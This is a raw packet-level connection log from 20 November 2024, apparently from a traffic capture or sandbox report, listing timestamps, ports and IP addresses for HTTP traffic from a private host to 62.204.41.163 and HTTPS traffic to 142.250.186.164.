Nov 20, 2024 07:48:09.034086943 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034096003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034116983 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034132004 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034149885 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034166098 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034183979 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034198046 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034225941 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034241915 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034292936 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034296989 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034324884 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034341097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034358978 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034373999 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034393072 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034404993 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034426928 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034439087 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034462929 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034477949 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034497023 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034508944 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034543991 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034548998 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034583092 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034615993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034617901 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034643888 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034650087 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034668922 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034696102 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034698963 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034734964 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034738064 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034768105 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034781933 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034801960 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034811974 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034835100 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034842968 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034868002 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034879923 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034897089 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034912109 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034929991 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034939051 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034964085 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.034976959 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.034996986 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035018921 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035031080 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035043001 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035063982 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035073996 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035098076 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035106897 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035136938 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035139084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035187960 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035190105 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035222054 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035238981 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035254002 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035262108 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035289049 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035350084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035350084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035419941 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035464048 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035471916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035509109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035515070 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035540104 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035547018 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035574913 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035582066 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035607100 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035623074 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035640955 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035648108 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035674095 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035685062 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035710096 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035718918 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035759926 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035763025 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035797119 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035815954 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035830021 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035840988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035864115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035871983 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035896063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035907030 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035929918 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035938978 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035963058 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.035974026 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.035998106 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036005020 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036031008 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036041975 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036065102 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036075115 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036097050 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036118984 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036134958 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036137104 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036161900 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036179066 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036195040 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036202908 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036228895 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036235094 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036262035 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036273003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036294937 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036303997 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036329031 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036336899 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036364079 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.036365986 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.036406994 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:09.080221891 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:09.080312967 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:11.097470045 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.097501993 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.097580910 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.097982883 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098057985 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.098105907 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098130941 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.098140955 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098177910 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098301888 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098318100 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.098552942 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098568916 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.098577023 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098769903 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098800898 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.098917961 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.098933935 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.099390984 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.099407911 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.735204935 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.735424042 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.735447884 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.737031937 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.737090111 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.737205029 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.737512112 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.737529993 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.738042116 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.738121033 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.738162994 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.738615990 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.738742113 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.739536047 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.739598036 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.739751101 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.739754915 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.739943981 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.739963055 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.743258953 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.743319988 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.743633032 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.743686914 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.743782043 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.743792057 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.751497984 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.751667976 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.751703024 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.752599955 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.752660990 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.752945900 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.753014088 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.753124952 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.753139973 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.779370070 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.783387899 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.784627914 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.784630060 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.784636974 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.784670115 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.784679890 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:11.800214052 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.831489086 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:11.831490993 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.027400017 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.027740955 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.027854919 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.030401945 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.030462027 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.030536890 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.030541897 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.030599117 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.030658007 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.030673981 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.036412001 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.036468983 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.036542892 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.036556959 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.036844015 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.038496017 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.038657904 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.038731098 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.044728994 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.044734955 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.048033953 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.048078060 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050054073 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050190926 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050266981 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.050282955 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050363064 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050446033 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050499916 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.050508022 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.050556898 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.051544905 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.051698923 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.051944017 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.054142952 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.054167032 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.056725025 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.056857109 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.057585955 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.057593107 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.063174963 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.063258886 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.063266039 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.113105059 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.113116026 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.136076927 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.136168003 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.136176109 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.138909101 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.138958931 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.138972998 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.145102024 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.145183086 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.145190954 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.145210028 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.145576954 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.151448965 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.157481909 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.157589912 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.157598972 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.163831949 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.163906097 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.163964987 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.163973093 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.164026022 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.169747114 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.175677061 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.175750017 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.175759077 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.181816101 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.181884050 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.181943893 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.181952000 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.182002068 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.187814951 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.193788052 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.194911957 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.194971085 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.194979906 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.195023060 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.224545956 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.224769115 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.224864006 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.224921942 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.224951029 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.224993944 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.226550102 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.227442026 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.227541924 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.227593899 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.227618933 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.227655888 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.230463982 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.235846996 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.235948086 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.236006021 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.236032963 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.236077070 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.241801977 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.246730089 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.246855021 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.246927023 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.246952057 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.247000933 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.252260923 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.257349968 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.257385015 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.257411957 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.257438898 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.257486105 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.262250900 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.267220974 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.267255068 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.267338991 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.267363071 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.267409086 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.272176981 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.276911020 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.276946068 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.276987076 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.277019024 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.277061939 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.281843901 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.286358118 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.286381960 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.286453009 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.286484003 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.286535025 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.290596008 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.294780016 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.294837952 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.294853926 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.298907042 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.298969030 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.298990011 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.302833080 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.302859068 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.302911997 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.302936077 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.302977085 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.306740999 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.310384035 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.310518980 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.310580015 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.310609102 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.310657978 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.314455986 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.318010092 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.318106890 CET	443	49734	142.250.186.164	192.168.2.4
